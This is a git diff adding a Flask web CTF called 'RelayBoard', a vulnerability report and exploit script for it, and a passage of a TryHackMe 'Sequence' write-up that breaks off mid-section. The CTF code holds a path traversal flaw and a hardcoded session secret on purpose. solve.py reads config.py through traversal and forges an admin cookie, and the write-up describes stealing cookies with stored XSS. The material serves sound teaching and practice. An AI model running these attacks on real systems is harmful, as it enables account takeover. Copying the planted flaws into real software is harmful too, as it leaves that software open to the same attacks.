diff --git a/RelayBoardCTF/README.md b/RelayBoardCTF/README.md new file mode 100644 index 00000000..e892d3ea --- /dev/null +++ b/RelayBoardCTF/README.md @@ -0,0 +1,30 @@ +# RelayBoard CTF + +RelayBoard is an original easy-medium web application CTF built around a shift +handoff portal for operations teams. + +## What Is Included + +- `backend/`: all vulnerable backend code, templates, static assets, and snippet files +- `solve.py`: proof-of-concept exploit script +- `Vulnerability_Report.md`: formal report +- `Dockerfile`: container entrypoint for public deployment +- `docker-compose.yml`: simple public-server launch configuration + +## Goal + +Recover the flag stored in the private admin packet. + +## Live Challenge URL + +Players can access the challenge here: + +`https://hung-concessible-overjoyfully.ngrok-free.dev` + +## Intended Solve Path + +1. Register a normal user account. +2. Abuse the packet preview include resolver to read `backend/config.py`. +3. Recover the Flask secret key from the source. +4. Forge an admin session cookie. +5. Open `/admin/archive/1` and capture the flag. diff --git a/RelayBoardCTF/Vulnerability_Report.md b/RelayBoardCTF/Vulnerability_Report.md new file mode 100644 index 00000000..f968dbfb --- /dev/null +++ b/RelayBoardCTF/Vulnerability_Report.md @@ -0,0 +1,96 @@ +# Vulnerability Report + +## Context + +RelayBoard is a Flask-based web application intended for operations teams to +prepare and review shift handoff packets. It is designed to run as a Linux +userspace web service, stores data in a local SQLite database, and is shipped +in this project as a modular backend package under +`RelayBoardCTF/backend/`. The application exposes +routes for registration, login, composing packet drafts, previewing draft +content, and reviewing saved packets. + +The packet preview feature is relevant to the challenge. Operators can draft a +packet and preview how shared snippet references render before saving. The UI +documents a snippet syntax such as `[[include:ops-footer.txt]]`, and the +backend replaces those directives with the contents of files from the local +`backend/snippets/` directory. + +The program receives inputs over HTTP form posts. In particular, `/preview` +accepts the user-controlled `title`, `body`, and `checklist` fields and renders +them immediately. The challenge objective is to recover the flag stored in the +private admin packet by exploiting the preview functionality. A proof-of- +concept exploit is provided in `RelayBoardCTF/solve.py`. + +## Vulnerability + +The primary issue is a path traversal vulnerability, corresponding to CWE-22: +Improper Limitation of a Pathname to a Restricted Directory. A secondary design +weakness makes the impact worse: the Flask session secret is recoverable from +the application source, allowing the attacker to forge a privileged cookie once +an arbitrary file read is achieved. + +The vulnerability manifests in `render_handoff_preview()` in +`RelayBoardCTF/backend/preview.py`, where the +preview engine processes `[[include:...]]` directives. The `replace_include()` +helper concatenates the user-supplied snippet name directly onto +`SNIPPET_DIR` and calls `read_text()` without normalizing or constraining the +resolved path. + +Because the `/preview` route passes attacker-controlled form fields directly +into `render_handoff_preview()` in +`RelayBoardCTF/backend/routes.py`, an +authenticated low-privilege user can submit inputs such as +`[[include:../config.py]]` and force the server to read files outside the +intended snippet directory. Reading `backend/config.py` discloses the default +Flask `SECRET_KEY` value, which is then used by the exploit script to mint a +new cookie containing `role=admin`. The administrative authorization check that +trusts this cookie is implemented in +`RelayBoardCTF/backend/auth.py`. + +## Exploitation + +The overall exploitation path is: + +1. Create a normal account through `/register`. +2. Submit a crafted preview request to `/preview` with `body=[[include:../app.py]]`. +3. Parse the returned source code to recover the Flask secret key. +4. Forge a signed Flask session cookie containing admin role data. +5. Request `/admin/archive/1` and read the flag from the private admin packet. + +The first exploit primitive is arbitrary file disclosure relative to the +application directory. This breaks the intended trust boundary around the +`snippets/` directory and exposes source code and configuration material. + +The second exploit primitive is authenticated session forgery. Because the +application trusts the client-side Flask session for authorization decisions, +knowledge of the secret key is sufficient to create a cookie that passes the +`admin_required` check. The proof-of-concept exploit in +`RelayBoardCTF/solve.py` recovers the secret from +the preview response, forges a valid cookie, installs it into the session jar, +and then requests the admin-only archive route. + +Together, these primitives allow a low-privilege attacker to move from an +ordinary user account to full administrative read access and recover the flag. + +## Remediation + +The preview include resolver should be constrained to an allowlisted snippet +directory. A safe patch would resolve the requested path, reject absolute paths +and traversal components, and verify that the final path remains under +`SNIPPET_DIR` before opening it. If nested snippet folders are needed, the +application should still compare the resolved path prefix against the snippet +root after normalization. + +The application should also stop relying on client-controlled role claims for +authorization. The server can store sessions server-side, or at minimum load +fresh authorization data from the database on each request rather than trusting +the cookie's `role` field. In addition, the Flask secret must not be hardcoded +in source. It should be injected from an environment variable or dedicated +secret store, and rotated if disclosure is suspected. + +Variant analysis for similar issues can be automated by searching for code that +joins attacker-controlled path fragments onto filesystem roots and then opens +the result without a resolved-path containment check. A second review pass +should identify any logic that grants permissions directly from client-signed +session contents instead of server-side authorization state. diff --git a/RelayBoardCTF/backend/Dockerfile b/RelayBoardCTF/backend/Dockerfile new file mode 100644 index 00000000..42cf6e90 --- /dev/null +++ b/RelayBoardCTF/backend/Dockerfile @@ -0,0 +1,13 @@ +FROM python:3.11-slim + +WORKDIR /app + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +COPY . . + +ENV PORT=5000 +EXPOSE 5000 + +CMD ["sh", "-c", "gunicorn --bind 0.0.0.0:${PORT:-5000} backend.wsgi:app"] diff --git a/RelayBoardCTF/backend/__init__.py b/RelayBoardCTF/backend/__init__.py new file mode 100644 index 00000000..1c04490b --- /dev/null +++ b/RelayBoardCTF/backend/__init__.py @@ -0,0 +1,20 @@ +from flask import Flask + +from .auth import auth_bp +from .config import Config +from .db import close_db, init_db +from .routes import main_bp + + +def create_app(): + app = Flask(__name__, template_folder="templates", static_folder="static") + app.config.from_object(Config) + + app.register_blueprint(auth_bp) + app.register_blueprint(main_bp) + app.teardown_appcontext(close_db) + + with app.app_context(): + init_db() + + return app diff --git a/RelayBoardCTF/backend/__main__.py b/RelayBoardCTF/backend/__main__.py new file mode 100644 index 00000000..70a5f9ad --- /dev/null +++ b/RelayBoardCTF/backend/__main__.py @@ -0,0 +1,9 @@ +import os + +from .wsgi import app + + +if __name__ == "__main__": + host = os.environ.get("HOST", "0.0.0.0") + port = int(os.environ.get("PORT", "5000")) + app.run(host=host, port=port, debug=False) diff --git a/RelayBoardCTF/backend/auth.py b/RelayBoardCTF/backend/auth.py new file mode 100644 index 00000000..78ae4c92 --- /dev/null +++ b/RelayBoardCTF/backend/auth.py @@ -0,0 +1,101 @@ +import sqlite3 +from functools import wraps + +from flask import Blueprint, abort, g, redirect, render_template, request, session, url_for +from werkzeug.security import check_password_hash, generate_password_hash + +from .db import get_db + + +auth_bp = Blueprint("auth", __name__) + + +def current_user(): + user_id = session.get("user_id") + if user_id is None: + return None + return get_db().execute("SELECT * FROM users WHERE id = ?", (user_id,)).fetchone() + + +def login_required(view): + @wraps(view) + def wrapped_view(**kwargs): + if current_user() is None: + return redirect(url_for("auth.login")) + return view(**kwargs) + + return wrapped_view + + +def admin_required(view): + @wraps(view) + def wrapped_view(**kwargs): + if session.get("role") != "admin": + abort(403) + return view(**kwargs) + + return wrapped_view + + +@auth_bp.before_app_request +def load_logged_in_user(): + g.user = current_user() + + +@auth_bp.route("/register", methods=["GET", "POST"]) +def register(): + error = None + if request.method == "POST": + username = request.form.get("username", "").strip() + password = request.form.get("password", "") + + if not username or not password: + error = "Username and password are required." + else: + db = get_db() + try: + db.execute( + "INSERT INTO users (username, password_hash, role) VALUES (?, ?, ?)", + (username, generate_password_hash(password), "user"), + ) + db.commit() + user = db.execute( + "SELECT * FROM users WHERE username = ?", + (username,), + ).fetchone() + session.clear() + session["user_id"] = user["id"] + session["username"] = user["username"] + session["role"] = user["role"] + return redirect(url_for("main.index")) + except sqlite3.IntegrityError: + error = "That username is already taken." + return render_template("register.html", error=error) + + +@auth_bp.route("/login", methods=["GET", "POST"]) +def login(): + error = None + if request.method == "POST": + username = request.form.get("username", "").strip() + password = request.form.get("password", "") + user = get_db().execute( + "SELECT * FROM users WHERE username = ?", + (username,), + ).fetchone() + + if user is None or not check_password_hash(user["password_hash"], password): + error = "Invalid credentials." + else: + session.clear() + session["user_id"] = user["id"] + session["username"] = user["username"] + session["role"] = user["role"] + return redirect(url_for("main.index")) + return render_template("login.html", error=error) + + +@auth_bp.route("/logout") +def logout(): + session.clear() + return redirect(url_for("main.index")) diff --git a/RelayBoardCTF/backend/config.py b/RelayBoardCTF/backend/config.py new file mode 100644 index 00000000..34d3be0c --- /dev/null +++ b/RelayBoardCTF/backend/config.py @@ -0,0 +1,19 @@ +import os +from pathlib import Path + + +PACKAGE_ROOT = Path(__file__).resolve().parent +PROJECT_ROOT = PACKAGE_ROOT.parent + + +class Config: + SECRET_KEY = os.environ.get( + "RELAYBOARD_SECRET", + "relayboard-dev-secret-please-rotate", + ) + DB_PATH = PROJECT_ROOT / "relayboard.db" + SNIPPET_DIR = PACKAGE_ROOT / "snippets" + FLAG_VALUE = os.environ.get( + "RELAYBOARD_FLAG", + "flag{night_shift_packets_need_real_boundaries}", + ) diff --git a/RelayBoardCTF/backend/db.py b/RelayBoardCTF/backend/db.py new file mode 100644 index 00000000..602e55e3 --- /dev/null +++ b/RelayBoardCTF/backend/db.py @@ -0,0 +1,108 @@ +import os +import sqlite3 + +from flask import current_app, g +from werkzeug.security import generate_password_hash + + +def get_db(): + if "db" not in g: + g.db = sqlite3.connect(current_app.config["DB_PATH"]) + g.db.row_factory = sqlite3.Row + return g.db + + +def close_db(_error): + db = g.pop("db", None) + if db is not None: + db.close() + + +def init_db(): + db = sqlite3.connect(current_app.config["DB_PATH"]) + db.row_factory = sqlite3.Row + db.executescript( + """ + CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + role TEXT NOT NULL + ); + + CREATE TABLE IF NOT EXISTS packets ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + owner_id INTEGER NOT NULL, + title TEXT NOT NULL, + body TEXT NOT NULL, + checklist TEXT NOT NULL, + is_public INTEGER NOT NULL DEFAULT 0, + FOREIGN KEY(owner_id) REFERENCES users(id) + ); + """ + ) + + admin = db.execute("SELECT id FROM users WHERE username = ?", ("dispatcher",)).fetchone() + if admin is None: + db.execute( + "INSERT INTO users (username, password_hash, role) VALUES (?, ?, ?)", + ( + "dispatcher", + generate_password_hash(os.environ.get("RELAYBOARD_ADMIN_PASSWORD", "dispatch-only")), + "admin", + ), + ) + admin_id = db.execute( + "SELECT id FROM users WHERE username = ?", + ("dispatcher",), + ).fetchone()["id"] + db.execute( + """ + INSERT INTO packets (owner_id, title, body, checklist, is_public) + VALUES (?, ?, ?, ?, ?) + """, + ( + admin_id, + "Night Dispatch Master Packet", + ( + "This packet is reserved for the overnight coordinator.\n\n" + "Recovery token for the exercise is stored below." + ), + ( + "- Verify pager rotation\n" + "- Rotate the inbound mailbox\n" + f"- {current_app.config['FLAG_VALUE']}" + ), + 0, + ), + ) + + sample_user = db.execute("SELECT id FROM users WHERE username = ?", ("trainee",)).fetchone() + if sample_user is None: + db.execute( + "INSERT INTO users (username, password_hash, role) VALUES (?, ?, ?)", + ("trainee", generate_password_hash("handoff123"), "user"), + ) + trainee_id = db.execute( + "SELECT id FROM users WHERE username = ?", + ("trainee",), + ).fetchone()["id"] + db.execute( + """ + INSERT INTO packets (owner_id, title, body, checklist, is_public) + VALUES (?, ?, ?, ?, ?) + """, + ( + trainee_id, + "Template Usage Example", + ( + "Use [[include:ops-footer.txt]] to append the standard closing note.\n" + "The preview tool resolves snippet references before rendering." + ), + "- Mention blocked systems\n- Add on-call owner\n- Preview before publishing", + 1, + ), + ) + + db.commit() + db.close() diff --git a/RelayBoardCTF/backend/docker-compose.yml b/RelayBoardCTF/backend/docker-compose.yml new file mode 100644 index 00000000..5acf8378 --- /dev/null +++ b/RelayBoardCTF/backend/docker-compose.yml @@ -0,0 +1,11 @@ +services: + relayboard: + build: . + ports: + - "80:5000" + environment: + PORT: "5000" + RELAYBOARD_FLAG: "flag{night_shift_packets_need_real_boundaries}" + RELAYBOARD_SECRET: "relayboard-dev-secret-please-rotate" + RELAYBOARD_ADMIN_PASSWORD: "dispatch-only" + restart: unless-stopped diff --git a/RelayBoardCTF/backend/preview.py b/RelayBoardCTF/backend/preview.py new file mode 100644 index 00000000..dd70ef58 --- /dev/null +++ b/RelayBoardCTF/backend/preview.py @@ -0,0 +1,12 @@ +import re + +from flask import current_app + + +def render_handoff_preview(text): + def replace_include(match): + snippet_name = match.group(1).strip() + snippet_path = current_app.config["SNIPPET_DIR"] / snippet_name + return snippet_path.read_text() + + return re.sub(r"\[\[include:(.+?)\]\]", replace_include, text) diff --git a/RelayBoardCTF/backend/routes.py b/RelayBoardCTF/backend/routes.py new file mode 100644 index 00000000..823addc8 --- /dev/null +++ b/RelayBoardCTF/backend/routes.py @@ -0,0 +1,112 @@ +from html import escape + +from flask import Blueprint, abort, redirect, render_template, request, session, url_for + +from .auth import admin_required, login_required +from .db import get_db +from .preview import render_handoff_preview + + +main_bp = Blueprint("main", __name__) + + +@main_bp.route("/") +def index(): + packets = get_db().execute( + """ + SELECT packets.id, packets.title, packets.body, packets.checklist, packets.is_public, users.username + FROM packets + JOIN users ON users.id = packets.owner_id + WHERE packets.is_public = 1 + OR packets.owner_id = ? + OR ? = 'admin' + ORDER BY packets.id DESC + """, + ( + session.get("user_id", -1), + session.get("role", ""), + ), + ).fetchall() + return render_template("index.html", packets=packets) + + +@main_bp.route("/compose", methods=["GET", "POST"]) +@login_required +def compose(): + error = None + if request.method == "POST": + title = request.form.get("title", "").strip() + body = request.form.get("body", "").strip() + checklist = request.form.get("checklist", "").strip() + is_public = 1 if request.form.get("is_public") == "on" else 0 + + if not title or not body or not checklist: + error = "Every packet needs a title, body, and checklist." + else: + get_db().execute( + """ + INSERT INTO packets (owner_id, title, body, checklist, is_public) + VALUES (?, ?, ?, ?, ?) + """, + (session["user_id"], title, body, checklist, is_public), + ) + get_db().commit() + return redirect(url_for("main.index")) + return render_template("compose.html", error=error) + + +@main_bp.route("/preview", methods=["POST"]) +@login_required +def preview(): + title = request.form.get("title", "") + body = request.form.get("body", "") + checklist = request.form.get("checklist", "") + + rendered = { + "title": escape(render_handoff_preview(title)), + "body": escape(render_handoff_preview(body)), + "checklist": escape(render_handoff_preview(checklist)), + } + return render_template("preview.html", rendered=rendered) + + +@main_bp.route("/packets/") +def packet_detail(packet_id): + packet = get_db().execute( + """ + SELECT packets.*, users.username + FROM packets + JOIN users ON users.id = packets.owner_id + WHERE packets.id = ? + """, + (packet_id,), + ).fetchone() + + if packet is None: + abort(404) + + if ( + packet["is_public"] != 1 + and session.get("role") != "admin" + and session.get("user_id") != packet["owner_id"] + ): + abort(403) + + return render_template("packet_detail.html", packet=packet) + + +@main_bp.route("/admin/archive/") +@admin_required +def admin_archive(packet_id): + packet = get_db().execute( + """ + SELECT packets.*, users.username + FROM packets + JOIN users ON users.id = packets.owner_id + WHERE packets.id = ? + """, + (packet_id,), + ).fetchone() + if packet is None: + abort(404) + return render_template("packet_detail.html", packet=packet) diff --git a/RelayBoardCTF/backend/snippets/ops-footer.txt b/RelayBoardCTF/backend/snippets/ops-footer.txt new file mode 100644 index 00000000..76c554e9 --- /dev/null +++ b/RelayBoardCTF/backend/snippets/ops-footer.txt @@ -0,0 +1,4 @@ +Wrap up the packet with the standard handoff footer: +- State the active incident owner +- Confirm pager acknowledgements +- Leave one clear next action for the incoming operator diff --git a/RelayBoardCTF/backend/static/style.css b/RelayBoardCTF/backend/static/style.css new file mode 100644 index 00000000..3efc7851 --- /dev/null +++ b/RelayBoardCTF/backend/static/style.css @@ -0,0 +1,199 @@ +:root { + --bg: #eef3ea; + --panel: #ffffff; + --ink: #1b2a1d; + --muted: #607164; + --accent: #285943; + --accent-soft: #d9ebe2; + --danger: #9f3a2f; + --border: #cad7c7; +} + +* { + box-sizing: border-box; +} + +body { + margin: 0; + font-family: "IBM Plex Sans", "Segoe UI", sans-serif; + color: var(--ink); + background: + radial-gradient(circle at top right, #d7e7d6, transparent 30%), + linear-gradient(180deg, #f8fbf6 0%, var(--bg) 100%); +} + +a { + color: var(--accent); + text-decoration: none; +} + +main { + max-width: 1100px; + margin: 0 auto; + padding: 0 24px 40px; +} + +.topbar { + display: flex; + justify-content: space-between; + align-items: flex-start; + gap: 16px; + padding: 24px; + max-width: 1100px; + margin: 0 auto; +} + +.topbar nav { + display: flex; + gap: 14px; + align-items: center; + flex-wrap: wrap; +} + +.brand { + font-size: 1.5rem; + font-weight: 700; +} + +.tagline { + margin: 6px 0 0; + color: var(--muted); +} + +.hero { + padding: 28px 0 8px; +} + +.hero h1, +.panel h1, +.auth h1 { + margin-top: 0; + font-family: "IBM Plex Serif", Georgia, serif; +} + +.grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(260px, 1fr)); + gap: 18px; +} + +.card, +.panel, +.auth { + background: var(--panel); + border: 1px solid var(--border); + border-radius: 18px; + padding: 20px; + box-shadow: 0 14px 30px rgba(26, 44, 31, 0.08); +} + +.card-head { + display: flex; + justify-content: space-between; + gap: 10px; + align-items: center; +} + +.card h2, +.panel h2 { + margin: 0; +} + +.badge, +.pill { + background: var(--accent-soft); + color: var(--accent); + border-radius: 999px; + padding: 5px 10px; + font-size: 0.85rem; +} + +.locked { + background: #efe0dc; + color: var(--danger); +} + +.muted { + color: var(--muted); +} + +.auth, +.panel { + max-width: 760px; +} + +form { + display: grid; + gap: 12px; +} + +input, +textarea, +button { + font: inherit; +} + +input, +textarea { + width: 100%; + padding: 12px 14px; + border: 1px solid var(--border); + border-radius: 12px; + background: #fbfdf9; +} + +button, +.button-link { + display: inline-flex; + align-items: center; + justify-content: center; + width: fit-content; + padding: 12px 16px; + border: none; + border-radius: 12px; + background: var(--accent); + color: white; + cursor: pointer; +} + +.split { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); + gap: 18px; +} + +.checkbox { + display: flex; + gap: 10px; + align-items: center; +} + +.checkbox input { + width: auto; +} + +.error { + color: var(--danger); + font-weight: 600; +} + +pre { + white-space: pre-wrap; + overflow-wrap: anywhere; + background: #f6faf4; + padding: 14px; + border-radius: 12px; + border: 1px solid var(--border); +} + +code { + background: #edf5ed; + padding: 2px 6px; + border-radius: 6px; +} + +@media (max-width: 720px) { + .topbar { + flex-direction: column; + } +} diff --git a/RelayBoardCTF/backend/templates/base.html b/RelayBoardCTF/backend/templates/base.html new file mode 100644 index 00000000..46d80314 --- /dev/null +++ b/RelayBoardCTF/backend/templates/base.html @@ -0,0 +1,30 @@ + + + + + + RelayBoard + + + +
+
+ RelayBoard +

Shift handoff packets for the overnight operations team.

+
+ +
+
+ {% block content %}{% endblock %} +
+ + diff --git a/RelayBoardCTF/backend/templates/compose.html b/RelayBoardCTF/backend/templates/compose.html new file mode 100644 index 00000000..351e55b5 --- /dev/null +++ b/RelayBoardCTF/backend/templates/compose.html @@ -0,0 +1,35 @@ +{% extends "base.html" %} + +{% block content %} +
+
+

Compose handoff packet

+ {% if error %} +

{{ error }}

+ {% endif %} + + + + + + + + +
+ +
+

Quick preview

+

Tip: packet previews support snippet references like [[include:ops-footer.txt]].

+ + + + + + + +
+
+{% endblock %} diff --git a/RelayBoardCTF/backend/templates/index.html b/RelayBoardCTF/backend/templates/index.html new file mode 100644 index 00000000..c9e6af33 --- /dev/null +++ b/RelayBoardCTF/backend/templates/index.html @@ -0,0 +1,28 @@ +{% extends "base.html" %} + +{% block content %} +
+

Operations handoff without the pager chaos

+

Build packet drafts, preview shared snippets, and keep the night desk aligned.

+
+ +
+ {% for packet in packets %} +
+
+

{{ packet["title"] }}

+ {% if packet["is_public"] == 1 %} + Public + {% else %} + Private + {% endif %} +
+

Owner: {{ packet["username"] }}

+

{{ packet["body"][:140] }}{% if packet["body"]|length > 140 %}...{% endif %}

+ Open packet +
+ {% else %} +

No packets yet.

+ {% endfor %} +
+{% endblock %} diff --git a/RelayBoardCTF/backend/templates/login.html b/RelayBoardCTF/backend/templates/login.html new file mode 100644 index 00000000..ea949c77 --- /dev/null +++ b/RelayBoardCTF/backend/templates/login.html @@ -0,0 +1,17 @@ +{% extends "base.html" %} + +{% block content %} +
+

Login

+ {% if error %} +

{{ error }}

+ {% endif %} +
+ + + + + +
+
+{% endblock %} diff --git a/RelayBoardCTF/backend/templates/packet_detail.html b/RelayBoardCTF/backend/templates/packet_detail.html new file mode 100644 index 00000000..1cc414a7 --- /dev/null +++ b/RelayBoardCTF/backend/templates/packet_detail.html @@ -0,0 +1,17 @@ +{% extends "base.html" %} + +{% block content %} +
+
+

{{ packet["title"] }}

+ {% if packet["is_public"] == 1 %} + Public + {% else %} + Private + {% endif %} +
+

Owner: {{ packet["username"] }}

+
{{ packet["body"] }}
+
{{ packet["checklist"] }}
+
+{% endblock %} diff --git a/RelayBoardCTF/backend/templates/preview.html b/RelayBoardCTF/backend/templates/preview.html new file mode 100644 index 00000000..bec99bc4 --- /dev/null +++ b/RelayBoardCTF/backend/templates/preview.html @@ -0,0 +1,10 @@ +{% extends "base.html" %} + +{% block content %} +
+

Rendered preview

+

{{ rendered["title"]|safe }}

+
{{ rendered["body"]|safe }}
+
{{ rendered["checklist"]|safe }}
+
+{% endblock %} diff --git a/RelayBoardCTF/backend/templates/register.html b/RelayBoardCTF/backend/templates/register.html new file mode 100644 index 00000000..ba46b792 --- /dev/null +++ b/RelayBoardCTF/backend/templates/register.html @@ -0,0 +1,17 @@ +{% extends "base.html" %} + +{% block content %} +
+

Create an operator account

+ {% if error %} +

{{ error }}

+ {% endif %} +
+ + + + + +
+
+{% endblock %} diff --git a/RelayBoardCTF/backend/wsgi.py b/RelayBoardCTF/backend/wsgi.py new file mode 100644 index 00000000..592fa693 --- /dev/null +++ b/RelayBoardCTF/backend/wsgi.py @@ -0,0 +1,4 @@ +from . import create_app + + +app = create_app() diff --git a/RelayBoardCTF/relayboard.db b/RelayBoardCTF/relayboard.db new file mode 100644 index 00000000..a1ff9afe Binary files /dev/null and b/RelayBoardCTF/relayboard.db differ diff --git a/RelayBoardCTF/requirements.txt b/RelayBoardCTF/requirements.txt new file mode 100644 index 00000000..d4707cf4 --- /dev/null +++ b/RelayBoardCTF/requirements.txt @@ -0,0 +1,3 @@ +Flask==3.1.0 +requests==2.32.3 +gunicorn==23.0.0 diff --git a/RelayBoardCTF/solve.py b/RelayBoardCTF/solve.py new file mode 100644 index 00000000..f146a37a --- /dev/null +++ b/RelayBoardCTF/solve.py @@ -0,0 +1,89 @@ +import hashlib +import html +import random +import re +import string +import sys +from urllib.parse import urlparse + +import requests +from flask.sessions import SecureCookieSessionInterface + + +class SimpleSessionSigner(SecureCookieSessionInterface): + digest_method = staticmethod(hashlib.sha1) + key_derivation = "hmac" + + +def forge_cookie(secret_key, payload): + signer = SimpleSessionSigner() + fake_app = type( + "FakeApp", + (), + { + "secret_key": secret_key, + "config": {"SECRET_KEY_FALLBACKS": []}, + }, + )() + serializer = signer.get_signing_serializer(fake_app) + return serializer.dumps(payload) + + +def extract_secret(rendered_source): + source_text = html.unescape(rendered_source) + match = re.search( + r'os\.environ\.get\(\s*"RELAYBOARD_SECRET",\s*"([^"]+)"\s*,?\s*\)', + source_text, + ) + if not match: + raise RuntimeError("Could not recover the Flask secret from backend/config.py") + return match.group(1) + + +def main(): + base_url = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:5000" + session = requests.Session() + + username = "operator_" + "".join(random.choices(string.ascii_lowercase, k=6)) + password = "Winter2026!" + + registration = session.post( + f"{base_url}/register", + data={"username": username, "password": password}, + allow_redirects=True, + timeout=10, + ) + registration.raise_for_status() + + preview = session.post( + f"{base_url}/preview", + data={ + "title": "Leak", + "body": "[[include:../config.py]]", + "checklist": "noop", + }, + timeout=10, + ) + preview.raise_for_status() + + secret_key = extract_secret(preview.text) + forged = forge_cookie( + secret_key, + {"user_id": 1, "username": "dispatcher", "role": "admin"}, + ) + parsed = urlparse(base_url) + session.cookies.clear(domain=parsed.hostname, path="/", name="session") + session.cookies.set("session", forged, domain=parsed.hostname, path="/") + + admin_page = session.get(f"{base_url}/admin/archive/1", timeout=10) + admin_page.raise_for_status() + + flag = re.search(r"flag\{[^}]+\}", admin_page.text) + if not flag: + raise RuntimeError("Flag not found in admin archive.") + + print(flag.group(0)) + + +if __name__ == "__main__": + main() diff --git a/tryhackme-web-application-red-teaming/Pictures/Chat-With-Admin.webp b/tryhackme-web-application-red-teaming/Pictures/Chat-With-Admin.webp new file mode 100644 index 00000000..215753bb Binary files /dev/null and b/tryhackme-web-application-red-teaming/Pictures/Chat-With-Admin.webp differ diff --git a/tryhackme-web-application-red-teaming/Pictures/Contact-Us.png b/tryhackme-web-application-red-teaming/Pictures/Contact-Us.png new file mode 100644 index 00000000..6500d64a Binary files /dev/null and b/tryhackme-web-application-red-teaming/Pictures/Contact-Us.png differ diff --git a/tryhackme-web-application-red-teaming/Pictures/Finance-Webpage.webp b/tryhackme-web-application-red-teaming/Pictures/Finance-Webpage.webp new file mode 100644 index 00000000..47b023fa Binary files /dev/null and b/tryhackme-web-application-red-teaming/Pictures/Finance-Webpage.webp differ diff --git a/tryhackme-web-application-red-teaming/Pictures/Privilege-Escalation.png b/tryhackme-web-application-red-teaming/Pictures/Privilege-Escalation.png new file mode 100644 index 00000000..35b5958e Binary files /dev/null and b/tryhackme-web-application-red-teaming/Pictures/Privilege-Escalation.png differ diff --git a/tryhackme-web-application-red-teaming/Pictures/Session-Hijacking.png b/tryhackme-web-application-red-teaming/Pictures/Session-Hijacking.png new file mode 100644 index 00000000..fb4e796c Binary files /dev/null and b/tryhackme-web-application-red-teaming/Pictures/Session-Hijacking.png differ diff --git a/tryhackme-web-application-red-teaming/Pictures/XSS-Attack.png b/tryhackme-web-application-red-teaming/Pictures/XSS-Attack.png new file mode 100644 index 00000000..6ddfbb94 Binary files /dev/null and b/tryhackme-web-application-red-teaming/Pictures/XSS-Attack.png differ diff --git a/tryhackme-web-application-red-teaming/TryHackMe_Web_Application_Red_Teaming.md b/tryhackme-web-application-red-teaming/TryHackMe_Web_Application_Red_Teaming.md new file mode 100644 index 00000000..c847aa1d --- /dev/null +++ b/tryhackme-web-application-red-teaming/TryHackMe_Web_Application_Red_Teaming.md @@ -0,0 +1,293 @@ +# TryHackMe/Web Application Red Teaming/Sequence + +# Vulnerability Report + +## Context + +**CTF**: [https://tryhackme.com/room/sequence](https://tryhackme.com/room/sequence) + +The vulnerable program is a website accessible by a url on TryHackMe’s hosted VM. Simply start both the target machine and attacker machine to access the website. The website maintains XSS vulnerabilities via a contact form to its moderators. Once logged in as a mod, the website maintains a chat functionality with the admin, in addition to other peripheral users. Leveraging CSRF vulnerabilities allows access to the admin’s privileges. After gaining access to an internal web application, I was able to gain a shell in a docker container, and subsequently escape it. + +Reconnaissance and Enumeration: + +1. Nmap: + + ```bash + $ nmap -p- -A 10.82.159.58 + Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-29 21:19 GMT + mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers + mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers + Nmap scan report for 10.82.159.58 + Host is up (0.00079s latency). + Not shown: 65533 closed ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) + | http-cookie-flags: + | /: + | PHPSESSID: + |_ httponly flag not set + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: Review Shop + + ``` + + 1. The HttpOnly flag is not set, thus allowing JavaScript to read and modify cookies on [http://10-82-115-32](http://10-82-115-32) via document.cookie. Depending on other aspects of the website’s security, it is likely vulnerable to XSS attacks. +2. Gobuster: + + ```bash + $ gobuster dir -u http://10.82.159.58 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt + =============================================================== + Gobuster v3.6 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.82.159.58 + [+] Method: GET + [+] Threads: 10 + [+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.6 + [+] Timeout: 10s + =============================================================== + Starting gobuster in directory enumeration mode + =============================================================== + /uploads (Status: 301) [Size: 314] [--> http://10.82.159.58/uploads/] + /mail (Status: 301) [Size: 311] [--> http://10.82.159.58/mail/] + /javascript (Status: 301) [Size: 317] [--> http://10.82.159.58/javascript/] + /phpmyadmin (ttatus: 301) [Size: 317] [--> http://10.82.159.58/phpmyadmin/] + /server-status (Status: 403) [Size: 277] + Progress: 220560 / 220561 (100.00%) + =============================================================== + Finished + =============================================================== + + ``` + + 1. Only visiting [http://10.82.159.58/mail](http://10.82.159.58/mail) yielded intriguing results. Inside the directory is a file called dump.txt, which contains the following key information: + + ``` + From: software@review.thm + To: product@review.thm + Subject: Update on Code and Feature Deployment + + Hi Team, + + I have successfully updated the code. The Lottery and Finance panels have also been created. + + Both features have been placed in a controlled environment to prevent unauthorized access. The Finance panel (`/finance.php`) is hosted on the internal 192.x network, and the Lottery panel (`/lottery.php`) resides on the same segment. + + For now, access is protected with a completed 8-character alphanumeric password (S60u}f5j), in order to restrict exposure and safeguard details regarding our potential investors. + + I will be away on holiday but will be back soon. + + Regards, + Robert + + ``` + + 1. This file provides both a valid password and a potential user named Robert for the specified directories. Accessing both /finance.php and /lottery.php yields a “404 Not Found” error, however. This motivates the exploitation of authorized profiles that may be able to successfully visit these directories. + +## Vulnerabilities + +1. Stored XSS in Contact Form: + 1. The /contact.php page accepts user input and stores it. That input is later rendered in a moderator-facing panel. + 2. The vulnerability exists because user input is rendered directly into HTML without output encoding. The source code did not directly indicate this vulnerability, but successful attempts to exfiltrate visiting users’ cookies to a python web server suggest backend input sanitization failures. Further, because HttpOnly is not set, JavaScript can access document.cookie. +2. Broken CSRF 